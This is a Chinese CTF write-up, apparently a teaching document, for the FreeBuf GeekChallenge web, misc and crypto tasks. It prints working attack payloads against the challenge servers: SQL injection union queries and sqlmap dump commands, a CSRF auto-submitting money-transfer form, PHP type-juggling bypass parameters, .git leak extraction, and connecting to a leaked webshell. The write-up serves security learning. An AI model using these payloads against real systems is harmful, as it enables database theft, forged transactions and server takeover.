FreeBuf GeekChallenge 网络安全挑战教学文档
Web安全挑战解析
1. 朋友的学妹
URL: http://49.234.224.119:7413/
解题步骤:
- 右键查看网页源代码
- 在源码中找到flag:
flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9 - 进行Base64解码得到:
SYC{F1@_4s_h4Lpfullllll}
知识点: 查看网页源码是基本的CTF解题技巧,Base64编码识别与解码。
2. EZwww
URL: http://47.100.46.169:3901/
解题步骤:
- 根据提示"备份是个好习惯"进行敏感文件扫描
- 使用御剑扫描工具发现
www.zip文件 - 下载并解压
www.zip - 审计
index.php发现需要POST提交a=sycl0ver - 提交后获得正确flag:
SYC{Backup_1s_4_good_h4bit_l0l}
知识点: 备份文件泄露漏洞,PHP代码审计,Base64解码。
3. 刘壮的黑页
URL: http://106.54.75.217:8080/
解题步骤:
- 根据提示"你听说过请求方式吗"判断与HTTP请求方法相关
- 查看源代码发现需要:
- GET方式提交
admin=username - POST方式提交
syclover=password
- GET方式提交
- 构造相应请求获得flag:
SYC{d0_y0u_k0nw_GET?}
知识点: HTTP请求方法(GET/POST)的理解与应用。
4. 欢迎
URL: http://49.234.224.119:8000/
解题步骤:
- 使用Burp Suite抓包修改为POST请求
- 审计返回的PHP代码发现SHA1函数绕过
- 构造POST数据:
roam1[]=1&roam2[]=2 - 发现
f1444aagggg.php文件 - 访问该文件获得flag:
SYC{w31c0m3_t0_5yc_r0@m_php1}
知识点: PHP类型比较漏洞,SHA1函数处理数组的特性。
5. EZgit
URL: http://47.100.46.169:3902/
解题步骤:
- 使用GitHack工具扫描
.git目录 - 发现工具版本不匹配,改用Git_Extract
- 执行命令:
git clone https://github.com/style-404/Git_Extract.git cd Git_Extract python2 git_extract.py http://47.100.46.169:3902/.git/ - 获得flag:
SYC{I_l0ve_sycl0ver_l0l}
知识点: Git信息泄露漏洞,Git版本控制工具的使用。
6. 我是大黑客
URL: http://39.106.144.160:100/
解题步骤:
- 发现
liuzhuang.php.bak文件 - 下载后发现是一句话木马
- 使用蚁剑连接webshell
- 在根目录查找flag文件
- 获得flag:
SYC{1iuzHuang_yyd_G0d!}
知识点: 备份文件泄露,webshell连接与利用。
7. ezbypass
URL: http://49.234.224.119:7417/
解题步骤:
- 构造GET请求使strcmp返回NULL:
http://49.234.224.119:7417/?a[]=1&b=2 - 根据提示POST提交非数字变量
c=123a - 利用PHP弱类型比较获得flag:
SYC{php_4s_so_funny}
知识点: PHP strcmp函数特性,弱类型比较漏洞。
8. 带恶人六撞
URL: http://49.234.224.119:7415/
解题步骤:
手工注入:
- 测试
id=1'确认存在SQL注入 - 判断字段数:
id=1' order by 4-- q - 确定回显点:
id=-1' union select 1,2,3,4-- q - 获取数据库名:
id=-1' union select 1,2,3,database()-- q - 获取表名:
id=-1' union select 1,2,3,group_concat(table_name)... - 获取flag:
id=-1' union select 1,2,3,group_concat(fllllllag)...
使用sqlmap:
sqlmap -u http://49.234.224.119:7415/?id=1 --dbs --batch
sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql --tables --batch
sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql -T fllllag --columns --batch
sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql -T fllllag -C fllllllag --dump --batch
知识点: SQL注入原理与利用,手工注入与自动化工具结合。
9. flagshop
URL: http://173.82.206.142:8005/index.php
解题步骤:
- 使用admin/admin登录
- 分析购买flag需要10000M
- 构造CSRF攻击脚本:
<form action="http://173.82.206.142:8005/transfer.php" method="POST"> <input type="hidden" name="target" value="re1wn"/> <input type="hidden" name="money" value="100000000000000000000000000000"/> <input type="hidden" name="messages" value="nihao"/> </form> <script>document.forms[0].submit();</script> - 通过报告功能提交恶意链接
- 获得资金后购买flag:
SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}
知识点: CSRF攻击原理与防御,自动化攻击脚本编写。
10. 忏悔的刘壮
URL: http://120.79.197.4:5000/do_answer
解题步骤:
- 编写Python爬虫脚本:
import requests def request_func(req): return request.post("http://120.79.197.4:5000/check",data=req.cookies) request = requests.session() req = request.get("http://120.79.197.4:5000/") req2 = request.post("http://120.79.197.4:5000/check",data=req.cookies) need_req = request_func(req2) for i in range(20): need_req = request_func(need_req) - 执行脚本后获得flag:
SYC{this_is_your_flag}
知识点: Cookie利用,自动化请求处理。
Misc挑战解析
壮言壮语
解题步骤:
- 识别佛文加密
- 使用在线解密工具(http://www.keyfc.net/bbs/tools/tudoucode.aspx)
- 解密获得flag:
SYC{i_l0ve_Japanese_wife}
知识点: 特殊编码识别与解密。
Crypto挑战解析
铠甲与萨满
解题步骤:
- 识别为凯撒密码
- 使用在线解密工具(http://www.atoolbox.net/Tool.php?Id=778)
- 解密两次获得flag:
SYC{liuzhuangliuzhuang_bangbangbang}
知识点: 古典密码识别与解密。
总结
本教学文档详细解析了FreeBuf GeekChallenge中的各类网络安全挑战,涵盖Web安全、杂项和密码学等多个领域。每个挑战都提供了详细的解题步骤和关键知识点,帮助学习者理解各类安全漏洞的原理和利用方法。